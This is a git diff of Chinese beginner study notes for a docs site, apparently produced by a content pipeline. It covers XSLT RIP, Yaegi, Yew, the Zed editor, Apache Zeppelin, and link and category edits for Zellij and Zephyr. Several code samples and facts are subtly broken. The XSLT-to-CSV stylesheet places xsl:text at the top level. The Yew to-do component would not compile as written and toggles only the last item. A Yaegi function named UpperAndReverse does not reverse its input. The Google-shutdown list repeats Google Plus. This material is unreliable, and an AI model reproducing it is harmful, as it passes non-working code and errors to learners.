+**最讽刺的是**：要渲染 XSLT RIP 这个悼念页面，你**必须**使用支持 XSLT 的浏览器。等 Chrome 删了 XSLT，这个页面就真的没人能正常渲染了。它用自己的消亡来纪念自己的消亡。
+
+### 4. Google 的"技术坟场"
+
+[xslt.rip](https://xslt.rip/) 上引用了一个数据：截至 2025 年底，Google 已经杀死了近 **300 项技术**。包括但不限于：
+
+- Google Reader（2013 年 3 月关闭）
+- Google Plus
+- Google Stadia（游戏云）
+- Google Fiber（很多城市）
+- Google Hangouts
+- Google+
+
+XSLT 的特别之处在于，它**不是 Google 自己的产品**，而是一个**开放标准**，写入了 WHATWG HTML 规范，被政府网站和立法机构使用。杀死它，意味着 Google 对 Web 平台的影响力和控制力。
+
+## 代码示例
+
+### 示例 1：一个简单的 RSS 渲染器
+
+RSS 文件的 XML 结构（`feed.xml`）：
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="style.xsl" type="text/xsl"?>
+<feed>
+  <title>Jason 的笔记</title>
+  <entry>
+    <title>XSLT RIP 学习笔记</title>
+    <date>2026-06-13</date>
+    <summary>Google 要在 2027 年前杀死 XSLT 标准。</summary>
+  </entry>
+  <entry>
+    <title>Web 标准是怎么死的</title>
+    <date>2026-06-10</date>
+    <summary>从 RSS 到 XSLT，一篇关于技术生命周期的小文。</summary>
+  </entry>
+</feed>
+```
+
+对应的 XSLT 模板（`style.xsl`），把它渲染成 HTML 列表：
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="html" indent="yes"/>
+
+  <!-- 匹配 feed 根节点 -->
+  <xsl:template match="feed">
+    <html>
+      <head><title><xsl:value-of select="title"/></title></head>
+      <body>
+        <h1><xsl:value-of select="title"/></h1>
+        <ul>
+          <xsl:for-each select="entry">
+            <li>
+              <strong><xsl:value-of select="title"/></strong>
+              <span> — <xsl:value-of select="date"/></span>
+              <p><xsl:value-of select="summary"/></p>
+            </li>
+          </xsl:for-each>
+        </ul>
+      </body>
+    </html>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+渲染后的 HTML 输出：
+
+```html
+<html>
+  <head><title>Jason 的笔记</title></head>
+  <body>
+    <h1>Jason 的笔记</h1>
+    <ul>
+      <li>
+        <strong>XSLT RIP 学习笔记</strong>
+        <span> — 2026-06-13</span>
+        <p>Google 要在 2027 年前杀死 XSLT 标准。</p>
+      </li>
+      <li>
+        <strong>Web 标准是怎么死的</strong>
+        <span> — 2026-06-10</span>
+        <p>从 RSS 到 XSLT，一篇关于技术生命周期的小文。</p>
+      </li>
+    </ul>
+  </body>
+</html>
+```
+
+### 示例 2：XML 到 CSV 的转换
+
+XSLT 不只是转 HTML，还能转任何文本格式。比如把一个 XML 日志转成 CSV：
+
+输入 `logs.xml`：
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="to-csv.xsl" type="text/xsl"?>
+<records>
+  <log>
+    <level>ERROR</level>
+    <message>Database connection failed</message>
+    <timestamp>2026-06-13 10:30:00</timestamp>
+  </log>
+  <log>
+    <level>WARN</level>
+    <message>High memory usage detected</message>
+    <timestamp>2026-06-13 10:35:00</timestamp>
+  </log>
+  <log>
+    <level>INFO</level>
+    <message>Server restarted</message>
+    <timestamp>2026-06-13 10:40:00</timestamp>
+  </log>
+</records>
+```
+
+转换模板 `to-csv.xsl`：
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="text" encoding="utf-8"/>
+
+  <!-- 先写 CSV 表头 -->
+  <xsl:text>level,message,timestamp&#10;</xsl:text>
+
+  <xsl:template match="records">
+    <xsl:for-each select="log">
+      <xsl:value-of select="level"/>
+      <xsl:text>,</xsl:text>
+      <xsl:value-of select="message"/>
+      <xsl:text>,</xsl:text>
+      <xsl:value-of select="timestamp"/>
+      <xsl:text>&#10;</xsl:text>
+    </xsl:for-each>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+输出 CSV：
+
+```
+level,message,timestamp
+ERROR,Database connection failed,2026-06-13 10:30:00
+WARN,High memory usage detected,2026-06-13 10:35:00
+INFO,Server restarted,2026-06-13 10:40:00
+```
+
+## 一句话总结
+
+XSLT RIP 是一个用 XSLT 写的、悼念 XSLT 死亡的页面——它本身就是一个递归的艺术品，也是"Web 标准有多脆弱"的最好教材。
+
+## 延伸阅读
+
+- [XSLT RIP 原站](https://xslt.rip/)
+- [Killed by Google 完整列表](https://killedbygoogle.com)
+- [Google 的 XSLT 废弃通知邮件列表存档](https://groups.google.com/a/chromium.org/g/blink-dev/c/CxL4gYZeSJA/m/yNs4EsD5AQAJ)
+- [XSLT 维基百科](https://en.wikipedia.org/wiki/XSLT)
diff --git a/src/content/docs/projects/yaegi.md b/src/content/docs/projects/yaegi.md
new file mode 100644
index 000000000..f88c7ca85
--- /dev/null
+++ b/src/content/docs/projects/yaegi.md
@@ -0,0 +1,224 @@
+---
+title: Yaegi — Traefik 的 Go 解释器
+来源: https://github.com/traefik/yaegi
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Yaegi：让 Go 变成一门可解释执行的语言
+
+## 一个日常类比
+
+想象一下：你有一个乐高套装，通常你需要按照说明书一步步拼好它（这就是 Go 的编译过程），拼好之后才能玩。
+
+但 Yaegi 做的事情是：它给你一个"实时拼装台"——你可以把乐高零件（Go 代码）一块一块放上去，拼装台会立刻告诉你"这一块能放进去吗？""放上去之后效果怎样？"。拼的过程中随时可以改、可以撤，不需要把整个拆了重来。
+
+换句话说：**Go 本来是一门编译语言——代码必须先编译成二进制文件才能跑。Yaegi 在 Go 运行时内部塞进了一个解释器，让你可以直接"边写边跑" Go 代码，就像 Python 和 JavaScript 那样。**
+
+---
+
+## 核心概念
+
+### 1. Interpreter（解释器实例）
+
+解释器就像一个"Go 代码执行沙箱"。你创建它、往里面丢代码、它返回结果或错误。每个解释器实例都是独立的，互不干扰。
+
+创建方式非常简单：
+
+```go
+i := interp.New(interp.Options{})
+```
+
+这行代码就创建了一个空白的 Go 解释器实例。
+
+### 2. Eval（求值）
+
+`Eval` 是解释器的核心方法。你给它一段 Go 代码字符串，它会"当场"解析、执行这段代码，并返回结果。
+
+类比：你把一张写满 Go 代码的纸条塞进解释器，它看完纸条后立刻执行，把结果塞回给你。
+
+### 3. Use（注册符号）
+
+Go 的标准库（比如 `fmt`、`os`、`time`）不会自动在解释器里可用。你需要用 `Use()` 把标准库"注入"到解释器的环境中，这样解释器才知道 `fmt.Println` 是什么。
+
+类比：你给拼装台配好了所有乐高零件的说明书，拼装台才知道这些零件怎么拼。
+
+---
+
+## 代码示例
+
+### 示例 1：基础使用——在 Go 里执行 Go 代码
+
+这个示例展示了最基础的用法：创建一个解释器，加载标准库，然后执行一段 Go 代码。
+
+```go
+package main
+
+import (
+	"fmt"
+	"github.com/traefik/yaegi/interp"
+	"github.com/traefik/yaegi/stdlib"
+)
+
+func main() {
+	// 1. 创建一个解释器实例
+	i := interp.New(interp.Options{})
+
+	// 2. 注入 Go 标准库（让解释器知道 fmt、os 等是什么）
+	i.Use(stdlib.Symbols)
+
+	// 3. 执行一段 Go 代码
+	_, err := i.Eval(`import "fmt"`)
+	if err != nil {
+		panic(err)
+	}
+
+	// 4. 调用标准库函数
+	_, err = i.Eval(`fmt.Println("Hello from Yaegi!")`)
+	if err != nil {
+		panic(err)
+	}
+}
+```
+
+输出：
+
+```
+Hello from Yaegi!
+```
+
+关键流程就三步：`New()` 创建实例 → `Use()` 注入标准库 → `Eval()` 执行代码。
+
+### 示例 2：动态扩展——把解释的函数拿来用
+
+这才是 Yaegi 真正强大的地方：你可以在编译好的 Go 程序里，动态加载一段 Go 代码定义的函数，然后像调用普通 Go 函数一样调用它。这就像给你的程序装了"热插拔插件"。
+
+```go
+package main
+
+import (
+	"fmt"
+	"github.com/traefik/yaegi/interp"
+)
+
+const src = `
+package foo
+
+import "strings"
+
+func AddPrefix(s string) string {
+	return "PREFIX-" + s
+}
+
+func UpperAndReverse(s string) string {
+	return strings.ToUpper(s)
+}
+`
+
+func main() {
+	// 创建解释器
+	i := interp.New(interp.Options{})
+
+	// 执行上面那段 Go 代码（定义了两个函数）
+	_, err := i.Eval(src)
+	if err != nil {
+		panic(err)
+	}
+
+	// 从解释器中取出 foo.AddPrefix 函数
+	v, err := i.Eval("foo.AddPrefix")
+	if err != nil {
+		panic(err)
+	}
+
+	// 把它转换成 Go 函数类型并调用
+	addPrefix := v.Interface().(func(string) string)
+	result := addPrefix("Hello Yaegi")
+	fmt.Println(result) // 输出: PREFIX-Hello Yaegi
+
+	// 同理取出并调用 UpperAndReverse
+	v2, _ := i.Eval("foo.UpperAndReverse")
+	upper := v2.Interface().(func(string) string)
+	fmt.Println(upper("hello")) // 输出: HELLO
+}
+```
+
+输出：
+
+```
+PREFIX-Hello Yaegi
+HELLO
+```
+
+这个模式的妙处在于：`src` 那段代码不需要在编译时存在。你可以从文件读取它、从网络下载它、让用户在运行时编写它——程序主体编译好后，行为完全可以通过解释的代码来改变。
+
+### 示例 3：命令行 REPL（交互式解释器）
+
+Yaegi 本身也提供了一个命令行工具，可以像 Python 那样交互式地执行 Go 代码：
+
+```
+$ yaegi
+> 1 + 2
+3
+> import "fmt"
+> fmt.Println("Hello World")
+Hello World
+>
+```
+
+也可以用在脚本的 shebang 行，让 Go 文件直接可执行：
+
+```go
+#!/usr/bin/env yaegi
+package main
+
+import "fmt"
+
+func main() {
+	fmt.Println("这是一段可以直接跑的 Go 脚本！")
+}
+```
+
+---
+
+## 为什么需要 Go 解释器？
+
+Go 是一门编译型语言，编译之后得到的是静态二进制文件。但在一些场景中，编译好的程序不够灵活：
+
+| 场景 | 传统做法的痛点 | Yaegi 的优势 |
+|------|---------------|-------------|
+| Traefik 路由规则配置 | 修改路由规则需要重新编译 | 解释器动态加载规则，热更新 |
+| 插件系统 | 插件编译链接复杂 | 解释器直接执行插件代码 |
+| 嵌入式设备 | 需要交叉编译工具链 | 解释器在设备 runtime 内执行 |
+| 教学/实验 | 每次改代码都要重新编译 | 即时看到结果 |
+
+**核心思路**：Traefik（一个流行的开源反向代理/负载均衡器）用 Yaegi 来让它的用户可以用 Go 语言来配置路由规则，而且改完配置不需要重新编译 Traefik 本身。
+
+---
+
+## 重要限制
+
+理解限制和了解功能一样重要：
+
+- **`unsafe` 和 `syscall` 包默认不可用**——这是安全设计，防止解释的代码做危险操作
+- **不支持汇编文件（`.s`）**
+- **不支持调用 C 代码**（没有虚拟的 `C` 包）
+- **接口不能动态添加**——要被预编译代码调用的接口必须预编译
+- **计算密集型代码会很慢**——解释执行天然比编译执行慢很多
+- **Go modules 暂不支持**
+
+---
+
+## 一句话总结
+
+Yaegi 把 Go 变成了一门"可解释"的语言——它不是一个编译器，而是一个能当场读懂 Go 代码、执行代码、并把结果给你的解释器。它让 Go 程序拥有了动态加载和执行代码的能力，是 Traefik 插件系统的幕后功臣。
+
+---
+
+## 进一步学习
+
+- 官方文档：https://pkg.go.dev/github.com/traefik/yaegi
+- 内部实现解析：https://marc.vertes.org/yaegi-internals/
+- 调试用 trace：查看 `interp/trace.go`，可以打印解释器内部执行过程
diff --git a/src/content/docs/projects/yew.md b/src/content/docs/projects/yew.md
new file mode 100644
index 000000000..b85095b0a
--- /dev/null
+++ b/src/content/docs/projects/yew.md
@@ -0,0 +1,249 @@
+---
+title: Yew — Rust WASM 前端框架
+来源: https://github.com/yewstack/yew
+日期: 2026-06-13
+分类: 后端 API
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# Yew — 用 Rust 写浏览器里的网页
+
+## 一、先搞懂一个问题：为什么用 Rust 写前端？
+
+你写过网页吗？HTML + CSS + JavaScript，三件套。但有个痛点：JavaScript 是动态语言，变量类型运行时才确定，一个拼写错误就能让整个页面崩溃。
+
+Rust 的前端框架 Yew 做的事情是：你用 Rust 写前端逻辑，Rust 编译器帮你检查所有类型错误，然后编译成 WebAssembly（WASM），在浏览器里运行。
+
+打个比方：JavaScript 就像你一边开车一边看地图，随时可能走错；Rust + Yew 像是出发前，导航已经把每条路都检查过了，上车只管开。
+
+Yew 的名字是一种树（yew tree），发音 /juː/。它在 GitHub 上有超过 32k star，是目前最成熟的 Rust 前端框架之一。
+
+## 二、核心概念
+
+### 2.1 组件（Component）—— 网页的积木
+
+Yew 的核心思想是"组件化"。想象你在搭乐高：每个组件就是一块积木，有自己负责的外观（渲染什么）和行为（怎么响应点击）。
+
+Yew 提供两种组件写法：
+
+- **函数组件**（Function Component）—— 推荐新手使用，像一个纯函数，输入属性，输出 HTML
+- **结构体组件**（Struct Component）—— 更底层，可以精细控制状态和生命周期
+
+### 2.2 html! 宏 —— 在 Rust 里写 HTML
+
+Yew 提供了一个 `html!` 宏，让你在 Rust 代码中像写 JSX（React 的语法）一样写 HTML：
+
+```rust
+html! {
+    <div>
+        <h1>{ "你好，世界" }</h1>
+        <button onclick={ /* 点击事件 */ }>{"点我"}</button>
+    </div>
+}
+```
+
+花括号 `{}` 里放的是 Rust 表达式，会被渲染成对应的内容。
+
+### 2.3 虚拟 DOM（Virtual DOM）—— 性能的关键
+
+每次组件状态变化时，Yew 不会直接操作真实的浏览器 DOM（这很慢）。它会先构建一棵"虚拟的 DOM 树"，然后和上一棵树对比，只把真正变化的部分更新到真实页面上。
+
+类比：就像你搬家时，不会把所有家具都搬出去再搬回来，而是只移动需要换位置的那几件。
+
+### 2.4 状态与消息 —— 数据驱动视图
+
+Yew 遵循单向数据流：状态变化 → 触发消息 → 更新状态 → 重新渲染。
+
+## 三、代码示例
+
+### 示例 1：计数器（结构体组件）
+
+这是最经典的入门例子。一个按钮，每点一次数字加一。
+
+```rust
+use yew::prelude::*;
+
+// 定义这个组件能发出的"消息"类型
+enum Msg {
+    AddOne,
+    SubtractOne,
+}
+
+// 定义组件的结构体，包含状态
+struct Counter {
+    count: i64,
+}
+
+// 实现 Component trait，告诉 Yew 这个组件的行为
+impl Component for Counter {
+    // 消息类型
+    type Message = Msg;
+    // 这个组件不接受父组件传过来的属性
+    type Properties = ();
+
+    // 组件创建时调用，初始化状态
+    fn create(ctx: &Context<Self>) -> Self {
+        Self { count: 0 }
+    }
+
+    // 收到消息时更新状态
+    fn update(&mut self, _ctx: &Context<Self>, msg: Self::Message) -> bool {
+        match msg {
+            Msg::AddOne => self.count += 1,
+            Msg::SubtractOne => self.count -= 1,
+        }
+        true // 返回 true 表示需要重新渲染
+    }
+
+    // 渲染界面：根据当前状态生成 HTML
+    fn view(&self, _ctx: &Context<Self>) -> Html {
+        html! {
+            <div class="counter">
+                <h2>{ "计数器：" }</h2>
+                <p>{ self.count }</p>
+                <button onclick={ _ctx.link().callback(|_| Msg::AddOne) }>
+                    { "+1" }
+                </button>
+                <button onclick={ _ctx.link().callback(|_| Msg::SubtractOne) }>
+                    { "-1" }
+                </button>
+            </div>
+        }
+    }
+}
+
+// 启动应用
+fn main() {
+    yew::Renderer::<Counter>::new().render();
+}
+```
+
+代码拆解：
+
+- `Msg` 枚举定义了组件能响应的动作：加一或减一
+- `count` 是组件的内部状态，存在结构体字段里
+- `create` 在组件首次加载时运行，把 count 初始化为 0
+- `update` 收到消息时修改状态，返回 `true` 告诉 Yew"请重新渲染页面"
+- `view` 根据当前 `count` 的值生成对应的 HTML
+- `ctx.link().callback(...)` 把用户点击包装成一个消息，发给 `update`
+
+### 示例 2：待办事项列表（函数组件）
+
+函数组件是 Yew 0.20+ 版本推荐的写法，更接近 React 的风格。
+
+```rust
+use yew::prelude::*;
+
+#[derive(Clone, PartialEq, Properties)]
+struct TodoItemProps {
+    text: String,
+    done: bool,
+    on_toggle: Callback<(), ()>,
+}
+
+#[function_component]
+fn TodoItem(props: &TodoItemProps) -> Html {
+    html! {
+        <li class=todo_item_class(props.done)>
+            <input
+                type="checkbox"
+                checked={ props.done }
+                onchange={ props.on_toggle.callback(()) }
+            />
+            <span>{ &props.text }</span>
+        </li>
+    }
+}
+
+fn todo_item_class(done: bool) -> Classes {
+    if done {
+        classes!("todo-item", "done")
+    } else {
+        classes!("todo-item")
+    }
+}
+
+#[function_component]
+fn App() -> Html {
+    let mut todos = use_state(|| vec![
+        ("学 Rust", false),
+        ("学 Yew", false),
+        ("做项目", false),
+    ]);
+
+    let on_toggle = {
+        let todos = todos.clone();
+        Callback::new(move |()| {
+            let mut items = todos.to_vec();
+            if !items.is_empty() {
+                let mut item = items.pop().unwrap();
+                item.1 = !item.1;
+                items.push(item);
+                todos.set(items);
+            }
+        })
+    };
+
+    html! {
+        <div class="app">
+            <h1>{ "我的待办清单" }</h1>
+            <ul>
+                { todos.iter().map(|(text, done)| {
+                    html! {
+                        <TodoItem
+                            key={text.clone()}
+                            text={text.clone()}
+                            done={*done}
+                            on_toggle={on_toggle.clone()}
+                        />
+                    }
+                }).collect::<Html>() }
+            </ul>
+            <p>{ format!("已完成：{}/{}", todos.iter().filter(|(_, d)| *d).count(), todos.len()) }</p>
+        </div>
+    }
+}
+
+fn main() {
+    yew::Renderer::<App>::new().render();
+}
+```
+
+代码拆解：
+
+- `#[function_component]` 标记一个函数为组件，Yew 会自动展开成结构体组件
+- `use_state` 是函数组件的状态钩子（Hook），类似 React 的 `useState`
+- `Callback` 是回调函数，可以把事件传递给组件
+- `#[derive(Properties)]` 自动生成组件属性的解析代码
+- `key={text.clone()}` 给每个列表项一个唯一标识，帮助 Yew 优化渲染
+
+## 四、Yew 的技术栈
+
+要使用 Yew，你需要安装：
+
+1. **Rust 工具链**（最低版本 1.84.0）
+2. **WebAssembly 编译目标**：`rustup target add wasm32-unknown-unknown`
+3. **构建工具 Trunk**：`cargo install --locked trunk`
+
+Trunk 是 Yew 官方推荐的构建工具，它能帮你编译 Rust 到 WASM、打包资源、启动开发服务器，一条龙搞定。
+
+## 五、Yew 适合谁？
+
+- 已经会 Rust，想用它写前端的开发者
+- 想要编译时类型安全的前端项目
+- 希望复用 Rust 后端逻辑到前端的场景（比如相同的加密算法、数据结构校验）
+- 对性能和内存控制有极致要求的应用
+
+## 六、总结
+
+Yew 的本质就是用 Rust 的编译时安全保障，来写原本需要用 JavaScript 写的网页。它的组件模型借鉴了 React 和 Elm，`html!` 宏提供了类 JSX 的声明式 UI 描述，虚拟 DOM 保证了渲染效率。
+
+对 Rust 学习者来说，Yew 是一个很好的实践目标：当你理解了 Rust 的所有权、trait、泛型这些概念后，回头再看 Yew 的代码，会发现很多"原来如此"的时刻。
+
+## 参考资料
+
+- Yew 官方文档：https://yew.rs/
+- Yew GitHub 仓库：https://github.com/yewstack/yew
+- Yew Playground（在线 playground）：https://play.yew.rs
+- Yew API 文档：https://docs.rs/yew
diff --git a/src/content/docs/projects/zed-editor.md b/src/content/docs/projects/zed-editor.md
new file mode 100644
index 000000000..8d76e0637
--- /dev/null
+++ b/src/content/docs/projects/zed-editor.md
@@ -0,0 +1,126 @@
+---
+title: Zed — 高性能多人协作代码编辑器
+来源: https://github.com/zed-industries/zed
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+# Zed — 高性能多人协作代码编辑器
+
+## 一、Zed 是什么？用一句话理解
+
+Zed 是一个**用 Rust 语言编写的高性能代码编辑器**，由 Atom 编辑器的创始人 Nathan Sobo 带领团队开发。它可以从零启动、极速响应，并内置了多人实时协作和 AI 助手功能。
+
+## 二、日常类比：把编辑器想象成厨房
+
+想象你在厨房里做饭：
+
+- **传统编辑器（如早期 VS Code）** 像一台旧厨房——能用，但打开冰箱、找调料时会犹豫几秒。
+- **Zed** 像一台顶级专业厨房——所有工具都在你手边，灯光一开就亮，刀锋永远锋利。因为它用 Rust 写的，Rust 是一种对内存管理极其严格的编程语言，这让 Zed 几乎不会出现"卡住"或"崩溃"的情况。
+
+Atom 编辑器在 2022 年停更后，Nathan Sobo 和 Tree-sitter 的作者决定从零开始做 Zed。2024 年开源，2026 年 4 月发布 1.0 正式版。
+
+## 三、核心概念
+
+### 3.1 为什么 Rust 让 Zed 快？
+
+Rust 语言的核心优势是**内存安全 + 零成本抽象**。通俗讲：
+
+> 就像一辆车——普通编辑器用 Java/JavaScript 写的，运行时会有"垃圾回收"（类似司机中途要停车整理行李）；而 Rust 编写的 Zed 在编译时就解决了内存问题，运行时不需要停下来整理，所以始终流畅。
+
+### 3.2 多人实时协作
+
+Zed 的多人协作是**原生内置**的，不需要像其他编辑器那样安装额外插件。多人协作的原理类似 Google Docs：
+
+> 你和同事同时编辑一个文件，每个人的光标和修改都会实时出现在对方的屏幕上。Zed 用一种叫"操作转换"（Operational Transformation）的技术来确保两个人同时修改不同行时不会冲突。
+
+### 3.3 命令面板（Command Palette）
+
+Zed 的所有功能都可以通过命令面板访问。如果你忘了某个快捷键，打开命令面板搜索即可：
+
+- macOS: `Cmd + Shift + P`
+- Linux/Windows: `Ctrl + Shift + P`
+
+这就像给编辑器装了一个"万能遥控器"——任何功能都能通过它找到。
+
+## 四、配置示例
+
+### 4.1 设置主题和字体
+
+Zed 使用 JSON 格式的配置。在 Zed 中按 `Cmd + ,`（macOS）或 `Ctrl + ,`（Linux/Windows）打开设置编辑器。
+
+**示例 1：自定义主题和字体**
+
+```json
+{
+  "theme": {
+    "light": "One Light",
+    "dark": "One Dark"
+  },
+  "buffer_font_family": "JetBrains Mono",
+  "buffer_font_size": 16,
+  "format_on_save": "on",
+  "tab_size": 2
+}
+```
+
+这里做了四件事：
+1. 为亮色和暗色模式分别指定主题
+2. 设置编辑器使用的字体为 JetBrains Mono（程序员常用等宽字体）
+3. 设置字体大小为 16 像素
+4. 开启保存时自动格式化，并设置缩进为 2 个空格
+
+### 4.2 配置 Vim 模式
+
+Zed 内置了对 Vim 键盘布局的支持，只需在设置中打开即可：
+
+**示例 2：启用 Vim 模式**
+
+```json
+{
+  "vim_mode": true
+}
+```
+
+开启后，Zed 的行为就和 Vim 编辑器一样了——使用 `h j k l` 移动光标，`i` 进入插入模式，`Esc` 退出插入模式等。
+
+如果你不喜欢 Vim，也可以用 Helix 模式（另一种流行的 Vim 风格编辑器）：
+
+```json
+{
+  "helix_mode": true
+}
+```
+
+## 五、常用操作速查
+
+| 操作 | macOS | Linux/Windows |
+|------|-------|---------------|
+| 打开命令面板 | `Cmd + Shift + P` | `Ctrl + Shift + P` |
+| 快速打开文件 | `Cmd + P` | `Ctrl + P` |
+| 跳转到符号 | `Cmd + Shift + O` | `Ctrl + Shift + O` |
+| 项目中查找 | `Cmd + Shift + F` | `Ctrl + Shift + F` |
+| 打开终端 | `` Ctrl + ` `` | `` Ctrl + ` `` |
+| 打开设置 | `Cmd + ,` | `Ctrl + ,` |
+| 切换主题 | `Cmd + K Cmd + T` | `Ctrl + K Ctrl + T` |
+
+## 六、AI 功能
+
+Zed 内置了 AI 助手（叫 "Zed Agent"），可以用 `Cmd + Shift + A` 打开聊天面板，用 `Cmd + Enter` 进行行内辅助。AI 功能支持多种提供商，包括 Zed 自带的模型和自定义 API 接入。不过需要注意：AI 功能是付费的（ Freemium 模式），基础编辑器免费，但 AI 功能需要订阅。
+
+## 七、技术栈速览
+
+| 项目 | 内容 |
+|------|------|
+| 编程语言 | Rust |
+| 支持平台 | macOS、Linux、Windows |
+| 开源许可证 | GPL-3.0 / AGPL / Apache-2.0 |
+| GitHub | github.com/zed-industries/zed |
+| 最新版本 | 1.6.3（2026年6月10日发布） |
+| 资金 | Sequoia Capital 投资 3200 万美元 |
+
+## 八、总结
+
+Zed 的核心卖点可以用三个词概括：**快、协作、AI**。它不是另一个 VS Code 的克隆，而是从底层重新思考了"编辑器应该有多快"这个问题。对于追求极致响应速度的开发者来说，Zed 是一个值得尝试的选择。
diff --git a/src/content/docs/projects/zellij.md b/src/content/docs/projects/zellij.md
index 35a4c0d59..4fb5abbe6 100644
--- a/src/content/docs/projects/zellij.md
+++ b/src/content/docs/projects/zellij.md
@@ -2,8 +2,8 @@
 title: Zellij — Rust 写的现代终端复用器，开箱即用还能写 WebAssembly 插件
 来源: https://github.com/zellij-org/zellij
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/zephyr.md b/src/content/docs/projects/zephyr.md
index 9904203ba..6cddfec77 100644
--- a/src/content/docs/projects/zephyr.md
+++ b/src/content/docs/projects/zephyr.md
@@ -160,13 +160,19 @@ west flash                               # 烧录
 - [[buildroot]] —— Buildroot — 用 Make 给嵌入式板子烤一张完整 Linux 镜像
 - [[embassy]] —— Embassy — 嵌入式 Rust 的 async/await 运行时
 - [[freertos]] —— FreeRTOS-Kernel — KB 级 RAM 跑得动的可抢占多任务内核
+- [[littlefs]] —— littlefs — 给 MCU 用的掉电安全小文件系统
+- [[lora-mac-node]] —— LoRaMac-node — LoRaWAN 终端协议栈参考实现零基础学习笔记
 - [[lwip]] —— lwIP — ~40KB ROM 跑完整 TCP/IP 的嵌入式网络栈
 - [[mbedtls]] —— Mbed TLS — 嵌入式设备的 TLS 1.3 / X.509 / 加密原语库
+- [[mender]] —— Mender — 嵌入式 Linux 的 OTA 空中升级管家
 - [[micropython]] —— MicroPython — 在 MCU 上跑 Python 3 的精简实现
 - [[nix]] —— Nix — 函数式声明式包管理与可重复构建
 - [[nuttx]] —— Apache NuttX — POSIX 接近完整的小型实时操作系统
 - [[openthread]] —— OpenThread — Google 开源的 Thread mesh 网络协议栈
 - [[platformio-core]] —— PlatformIO Core — 一套命令行，统管千块嵌入式开发板
 - [[probe-rs]] —— probe-rs — Rust 写的嵌入式烧录与调试工具
+- [[rauc]] —— RAUC — 嵌入式 Linux 的稳健自动更新控制器
+- [[sdk-nrf]] —— sdk-nrf — Nordic nRF Connect SDK 零基础学习笔记
 - [[tcp]] —— TCP — 在不可靠的 IP 上凿出一条 reliable 字节流
+- [[tinygo]] —— TinyGo — 把 Go 编译进微控制器和 WebAssembly 的「袖珍版编译器」
 
diff --git a/src/content/docs/projects/zeppelin.md b/src/content/docs/projects/zeppelin.md
new file mode 100644
index 000000000..b6c9c57af
--- /dev/null
+++ b/src/content/docs/projects/zeppelin.md
@@ -0,0 +1,307 @@
+---
+title: Apache Zeppelin — JVM 多语言笔记本
+来源: https://github.com/apache/zeppelin
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Apache Zeppelin** 是 Apache 软件基金会旗下的**多语言交互式数据分析笔记本**：在浏览器里写段落（paragraph），用 `%spark`、`%flink`、`%python`、`%jdbc` 等**解释器（interpreter）**直连 Spark、Flink、Hive、Presto、Shell 等后端，适合数据平台团队做 ad-hoc 查询、ETL 原型和结果可视化。它跑在 **JVM** 上（Scala/Java 实现），Notebook 存成 **JSON**（`.zpln` 或导出格式），与企业 Hadoop/YARN/K8s 集群集成是设计重心——和 [[jupyter-notebook]] 的「单 kernel Python 优先」、[[pluto-jl]] 的「Julia reactive 单文件」是不同赛道。
+
+日常类比：
+
+> [[jupyterlab]] 像**个人实验室工作台**：你 mainly 绑一个 Python kernel，需要 Spark 时自己配 PySpark 或 Livy，扩展靠 pip/npm 插件。
+> Zeppelin 像**数据中心的多语种同声传译室**：同一份 Note 里，上一段用 `%spark.sql` 查 Hive，下一段 `%pyspark` 做清洗，再一段 `%md` 写结论——每种语言背后是一个**可独立配置、可连不同集群**的解释器进程；管理员在 Interpreter 设置里配好 YARN 地址、jar 包、并发模式，分析师只管 `%` 选语言开写。
+
+最小上手（Docker 最快，官方镜像自带 Spark Tutorial）：
+
+```bash
+docker run -p 8080:8080 --name zeppelin apache/zeppelin:0.12.0
+# 浏览器打开 http://localhost:8080
+# Notebook → Spark Tutorial → 逐段 Run
+```
+
+本机安装则需 **JDK 11**（0.12.0 官方要求）、下载 Zeppelin 二进制包、`bin/zeppelin-daemon.sh start`，并在 **Interpreter** 菜单里配置 Spark/Flink 的 `master` 与依赖 jar。
+
+## 为什么重要
+
+Zeppelin 在大数据栈里占一个独特位置：
+
+- **多引擎统一 UI**：Spark、Flink、Hive、JDBC、Markdown、Shell 等同屏，适合数据平台「一个入口查天下」
+- **Interpreter 插件模型**：新引擎通过实现 `org.apache.zeppelin.interpreter` 接入，经 **Apache Thrift** 与 Zeppelin Server 通信
+- **企业部署形态成熟**：YARN client/cluster、Flink yarn-application、K8s、Livy 远程 Spark 等模式文档齐全
+- **可视化内置**：查询结果可绑 Table、Bar、Pie、Scatter 等 **Zeppelin Visualization**，比纯文本输出更适合给业务方看
+- **与 Jupyter 互补**：Jupyter 生态在 ML/AI、nbconvert、Colab 更强；Zeppelin 在 **已建好的 Spark/Flink 集群** 上交互更省事
+
+不理解 Zeppelin，很难读懂很多公司的「数据开发平台」为什么 Notebook 模块选它而不是 Jupyter。
+
+## 核心概念
+
+Zeppelin 分三层，记牢就不迷路：
+
+```text
+浏览器 Frontend  ←REST/WebSocket→  Zeppelin Server (JVM)
+                                        │
+                          Thrift RPC    │  管理 Note / 调度 Paragraph
+                                        ▼
+                              Interpreter Process(es) (JVM，可多个)
+                                        │
+                                        ▼
+                              Spark / Flink / Hive / … 集群
+```
+
+### 1. Note 与 Paragraph
+
+- **Note**：一篇笔记本，含多个 **paragraph**（段落），可设默认 interpreter group
+- **Paragraph**：最小执行单元，首行常用 `%spark`、`%spark.pyspark` 等声明语言；点 Run 或 Shift+Enter 执行
+- 段落可 **隐藏代码只展示结果**、拖拽排序、导出 HTML/PDF；Note 可放文件夹、权限控制（需配置 Shiro/LDAP 等）
+
